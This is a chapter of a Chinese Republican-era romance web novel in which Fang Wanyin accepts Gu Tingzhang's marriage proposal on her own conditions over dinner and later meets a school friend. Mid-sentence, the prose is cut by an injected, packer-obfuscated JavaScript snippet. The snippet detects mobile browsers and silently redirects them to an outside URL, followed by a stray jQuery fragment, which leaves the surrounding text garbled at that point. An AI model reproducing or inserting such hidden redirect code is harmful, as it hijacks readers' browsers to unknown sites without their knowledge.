“方先生,这婚书我已经从贺家要回来了,我既然像令爱提亲,便会保全她的名节,我还可以向您保证,如果令爱嫁给我,她不会受到任何流言蜚语的中伤,也包括来自贺家的,我的诚心日月可鉴,也请您明鉴。”
顾廷璋知道方玉堂这是下了逐客令,他也不好久留,跟方玉堂道别,拒绝了关佳的留客,出了方家门,唯独将送来的礼物就在原地。
送走了顾廷璋,关佳当即不乐意了,质问方玉堂:“你何苦摆脸子,我看他的诚意挺足的。”
“妇人之见。我今日才第一天见他,哪能那么快下决定,何况对于他我也有所耳闻,他不知道用了什么手段,从一个副官摇身一变成了督军的义子,如此心机,我怎么能放心将琬音嫁给他。”
关佳依旧不高兴:“你分明就是偏见!”
“你就只看脸!看他长的好看,你就找不着北了!”
客厅里,两个人谁也不服谁,方琬音隔着门大概听明白了,顾廷璋这是走了,她也不知道哪里来的勇气,推开了房间的门。
方玉堂察觉不对:“琬音,你要去哪?”
此时的方琬音正一只脚踏出大门。
“父亲,我要跟他谈几个条件,很快就回来,民国了,我的婚姻大事我可以自己做主!”
说完,压根不给方玉堂阻止的时间,推开门,就跑了出去。
她追出了巷子口,看到了顾廷璋的车尾,她挥手,希望周麒能通过后视镜看到她的呼唤。
“等等,停一下车!”
周麒还真的看到了,而且他的车窗没关,亦听见了方琬音的声音:“少帅,是方小姐。”
顾廷璋闻声扭头,吩咐周麒:“停车!”
他的车就这么停在了街上,引得旁边的几个人驻足了几秒,然后路人们再回过神来,继续走自己的路。
方琬音累的气喘吁吁,不过好在顾廷璋没有跑远。
顾廷璋人模人样地下了车,看着跑得上气不接下气的方琬音:“方小姐这是想清楚了?”
“在我真正想清楚之前,我有几个条件,想跟顾少帅谈一谈。”
“我自当洗耳恭听。”
方琬音的肚子又传出了咕噜噜的响声,顾廷璋忍俊不禁。
“我饿了,请我吃饭。”
方琬音这次比上次直接很多,上次她还没那么快接受顾廷璋请吃饭,这次就直接大方说出来了。
顾廷璋略有意外,但他喜欢方琬音跟他直接一点。
“行,吃什么,你定。”
方琬音直接挑了这附近最高档的一家餐厅,还是西餐,她说自己快要从圣德女子中学毕业了,就当是毕业之前的庆祝了。
菜上了之后,方琬音大快朵颐,顾廷璋就坐在她对面看着她。
方琬音疑惑道:“你不吃吗?”
顾廷璋抬手看了一眼腕上的表:“现在不算正式饭点,我还不饿。”
“哦,我今天放学早,回家之后就看到你在,也一直没吃饭,所以才会饿。”
她这是在向顾廷璋解释自己如此贪吃的原因,她平常并不是这样,一点都不像个淑女。
顾廷璋只是笑笑:“我知道。”
方琬音吃着正香,顾廷璋跟她说:“我昨天有些醉了,说了些混话,方小姐不必放在心上,我今天来方家,就是来向方小姐提亲的。”
“哦。”方琬音的语气淡淡的。
顾廷璋真的行动力超强,昨晚还在百乐门问她有没有喝过酒,还将她带到他家里面,她真是脑子进水了才会跟他去,还差点被非礼。
今天他就上门提亲了,还说得头头是道,看起来诚意十足。
方琬音嚼着口中的东西,然后咽下,“行,你的来意我知道了,其实你说的没错,跟贺家的婚事闹掰了,我如果想要继续谈婚论嫁的话,的确有一定的难度……”
她吃着,还打了嗝。
“所以,我看顾少帅诚意十足,倒是可以接受你的提亲。”
“这么爽快?”顾廷璋有些措手不及:“方小姐不用再想一下,这可是你的终身大事。”
“有什么可想的,我已经想得很清楚了,人生在世,有好的机会就应该抓住,刚好有你这么一个优质的男人摆在我眼前,看起来应该也不会害我,我为什么不答应,难道我再等下去,就能保证自己能遇到更好的男人吗,而且现在都讲究自由恋爱,父母之命不如我自己的意愿,我有权决定到底要不要嫁给你。”
“方小姐倒是和从前一样洒脱。”
“那,你之前的那些承诺还算数吗?”
“算数,君子一言,驷马难追。”
“可我还有几个条件。”
“方小姐请说。”
方琬音吃累了,索性放下叉子,与他交谈。
“第一,婚礼的日期得我来定,不能太早,我下个月就要从圣德毕业了,我希望婚期能在我毕业之后,在我过完二十岁生日之后。”
“可以。”顾廷璋点头。
“第二,从圣德毕业之后,我打算参加私立复旦大学的自主招生考试,我还要继续读书的,不可能像其他的军官太太一样,只是窝在家里当你的专属金丝雀。”
“这个当然。”
他从没想过将方琬音困于公馆,她当然可以继续上学。
方琬音尝了一口带有黑松露的煎蛋,觉得很满足:“国外的东西还是挺好吃的。”
“方小姐说完了?”
“当然没有,别打断我,我在想。”
她几口就将那块煎蛋消灭掉了,看起来想得很认真。
“对了,我还要确认一下你回家的频率,你回来的时候,我好有个准备。”
“频率?”
“对啊,不是你自己说的么,不爱回家。”
“这个啊,大概……”他伸出右手,掰着指头数,最后伸出了五个指头:“三天回一次吧,不过有时候会变,到时候你需要适应一下。”
“好吧,我要提的条件基本就这些了,以后要是再想到什么可以再加。”
方琬音已经想得很清楚了,虽然不知道顾廷璋说要娶她究竟是为了什么,可能哪个原因都有,她贺均麟前未婚妻的身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740485|154639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
份也不是一点价值都没有,顾廷璋总有自己的算盘。
至少他们各取所需,不会吃亏,目前方琬音对顾廷璋的印象还算不错,他看起来不像是会和女人斤斤计较的男人,所以只要他们双方都有对方需要的东西就行了,合作便能有条不紊的进行下去。
“你真的能接受我经常不回来吗?”
很多富太太对于丈夫人到中年的变心之举都是要死要活的,方琬音一个快二十的小姑娘,竟然想得这么清楚。
“能啊,你已经告诉过我了,我也已经有了心理准备,反正……我也只喜欢钱,我母亲的作风,你应该有所耳闻才对。”
反正,顾廷璋这样的男人是没有真心的,在他这里爱情什么都不是,她只需要牢记这一点就行了。
“我想再要一份牛排,要这里最贵的!”
对面的顾廷璋还在发愣。
方琬音抬起手张开手掌在他眼前晃了晃,大声说道:“你怎么发呆了,难道不行?我马上就要成为你老婆了,吃个最贵的牛排不过分吧。”
顾廷璋回过神来:“不过分……不过分的。”
然后朝右后方的服务员喊:“再来一份牛排,要最贵的。”
他看着方琬音继续吃得狼吞虎咽,一点没有大家小姐的端庄,却觉得这样的她无比鲜活,当他顾廷璋的老婆就是要这样。
她爱钱,那他就将所有能用金钱衡量价值的东西都尽力捧到她的面前,只要她能留在他身边,做他的妻子。
那天大约是方琬音这一生中吃到过最饱的一顿饭了,十分饱,一点空隙都无。
肚子填饱了,她也在心底记下了,别跟面前的男人谈爱情,因为他不爱回家。
对于他来说,顾公馆是能用金钱衡量价值的房子,不是家,是金屋藏娇的鸟笼,一旦进去,就出不来了。
只是后来的方琬音人出去了,心没出来。
……
这一年快入夏的时候,方琬音过完了二十岁的生日,顾廷璋虽然人没出现,但是送来了生日礼物,是一款洋钢笔,笔帽呈金色,看起来价值不菲,顺便祝即将毕业的她毕业快乐。
对于即将离开圣德的方琬音来说,最好的毕业礼物,应该就是她和孙黎菲不再敌对,贺敏之对她还是从前的老样子,但方琬音不关心她,她只在乎多了孙黎菲这个好朋友。
毕业前后,某一日,孙黎菲约她小聚,顺便喝杯咖啡,方琬音欣然赴约。
这一天孙黎菲简直气质大变,即将没了学生这个身份的她忽然变得又成熟又洋气,方琬音都有些不敢认了。
“菲菲,你今天真漂亮。”她由衷夸赞道。
“谢谢,你也是。”
不再处处与她针锋相对的孙黎菲整个人也是越来越从容,她们聊着彼此的近况,彼此选择的路。
孙黎菲说:“琬音,听说你要参加复旦大学的招生考试?”
方琬音点头:“对呀,我父亲就是这的教授,前几年我们刚来上海,他刚任教的时候我还去过一次呢,所以对那里很是向往,我只想过去那里读书,没有想过别的。”